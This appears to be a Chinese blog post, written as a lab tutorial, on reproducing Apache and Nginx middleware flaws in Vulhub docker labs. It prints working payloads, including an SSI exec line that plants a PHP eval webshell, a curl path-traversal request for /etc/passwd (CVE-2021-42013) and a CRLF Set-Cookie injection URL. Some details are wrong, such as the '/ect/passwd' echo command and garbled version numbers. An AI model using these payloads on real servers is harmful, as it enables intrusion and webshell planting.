vulhub的搭建及部分中间件的漏洞

1 搭建

Vulhub是一个基于dockerdocker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

安装 docker 和 docker-compose 后即可开始使用Vulhub。(推荐使用kali操作系统)

也可以参考官方文档:Vulhub - Docker-Compose file for vulnerability environment

安装命令

git clone https://github.com/vulhub/vulhub.git  

cd vulhub/flask/ssti
docker-compose up -d

 2 部分中间件的漏洞复现

        ①apache多后缀解析漏洞

         漏洞原理

        apache httpd支持一个文件有多个后缀,如: shell.php.doc。在windows下,会直接根据最后的.来进行分隔,将其判定为doc文件,但是在apache中可不是这样的,apache会从后往前依次进行判别,遇到不认识的后缀,便会往前读,如果还是不认识再往前,若是都不认识,则会将该文件当成默认类型文件读取。
        apache可以识别的后缀在/etc/mime.types中(前提是已经安装了apache)

        漏洞条件

        1.apache必须以模块的形式运行,其他形式不行
        2.在配置文件中存在: AddHandler application/x-httpd-php.php (多后缀中只要出现php就会将          文件当作php来执行)

        3.没有修改文件名 (shell.php.png => 2834618234284.png)

        漏洞复现

        进入靶场(官网有教程),点击文件上传shell,抓包修改文件名为shell.php.png,然后访问该文            件目录,显示出了phpinfo();的信息,结束(因为上传的php文件作用就是显示phpinfo())

      ②apache换行解析漏洞

        漏洞原理:

        在2.4.0-2.4.29版本中存在一个解析漏洞,在解析PHP时,shell.php\x0A将被按照PHP后缀进           行解析,导致统过一些服务器的安全策略。

        漏洞条件:

        1 只要版本是这个范围内就行

        2 没有修改文件名(如上)

        漏洞复现:

        上传shell.php,然后抓包修改十六进制,在后缀后面加上十六进制的换行符0A   

        ps:burp的Hex包其实很好理解,一个十六进制代表一个符号或字母   

 

以此来绕过黑名单,访问路径时在后缀后面加上%0a,成功出现phpinfo(),结束

ps:%0a是url编码的换行 

   ③apache的ssi-rce漏洞

       漏洞原理:

        SSI是英文Server Side lncludes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注程行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI 命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。

        在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SS与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id”-->语法执行任意命令.该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞
       漏洞条件:

        1 没有关闭相应的配置

        2 没有禁用或转义<!--#>等注释字符

        漏洞复现

        上传shtml文件绕过黑名单,然后文件内容(payload):<!--#exec cmd="echo /ect/passwd"  -->

        访问文件目录,显示出了操作系统的账户和密码,成功

        写马:<!--#exec cmd="echo '<?php  eval($_REQUEST[6]);?>' >         /var/www/html/shell.php"  -->即可上传简单的一句话木马

        结束

  ④apache路径穿越漏洞

        漏洞原理 

        Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021.41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过
        攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cai或caid的服务器上执行任意命令
        这个漏洞可以影响Apache HTTP Server 2.449以及2.4.50两个版本

        攻击者利用/xx/.%2e/逃过了ap_normalize_path函数的检测,最终 url_path 传递给了ap_unescape_url进行url解码,解码变成/xx/../导致目录穿越。

       漏洞条件:

        版本号为2.449以及2.4.50两个版本

        漏洞复现

        payload:         

        curl -v --path-as-is         http://yourip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%3        2%65/.%%32%65/etc/passwd

        ⑤nginx的文件名逻辑漏洞复现

        漏洞原理

       

 漏洞条件 :

版本号为0.8.41-1.4.3/1.5.0-1.5.7

漏洞复现

payload:首先上传文件名为:shell.gif的图片马,然后抓包在文件名后缀加0x20(在十六进制Hex文件里面加),然后上传.上传以后访问shell.gifaa.php,然后抓包在十六进制里修改aa为2000,第一个20得目的是访问原文件的空格,第二个00的目的是截断,然后出现phpinfo,成功

 

        ⑥ nginx配置不当CRLF漏洞

         关于CRLF漏洞可以参考这位大神的文章:

        CRLF注入漏洞(响应截断)攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客

        漏洞原理

        Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞

        漏洞条件:

        配置不当

        漏洞复现

        payload:http://ip:8080/%0a%0dSet-Cookie:%20name=hsi

         说明注入成功,结束

        ⑦nginx配置不当目录穿越漏洞

        漏洞原理

        Nginx在配置别名 (Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞错误的配置文件示            例 (原本的目的是为了让用户访问到/home/目录下的文件):

        

       漏洞条件

         配置不当

         漏洞复现

          直接访问/files../跳出当前目录,结束

        ⑧nginx配置不当add_header被覆盖

        漏洞原理:

        这里需要说一个概念:CSP-预防XSS漏洞的一个内容安全策略

        Nginx配置文件子块 (server、location、if) 中的add header,将会覆盖父块中的add header添          加的HTTP头,造成一些安全隐患

        漏洞条件:

        配置不当

        漏洞复现

   抓包     

 结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安小白(web渗透阶段)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值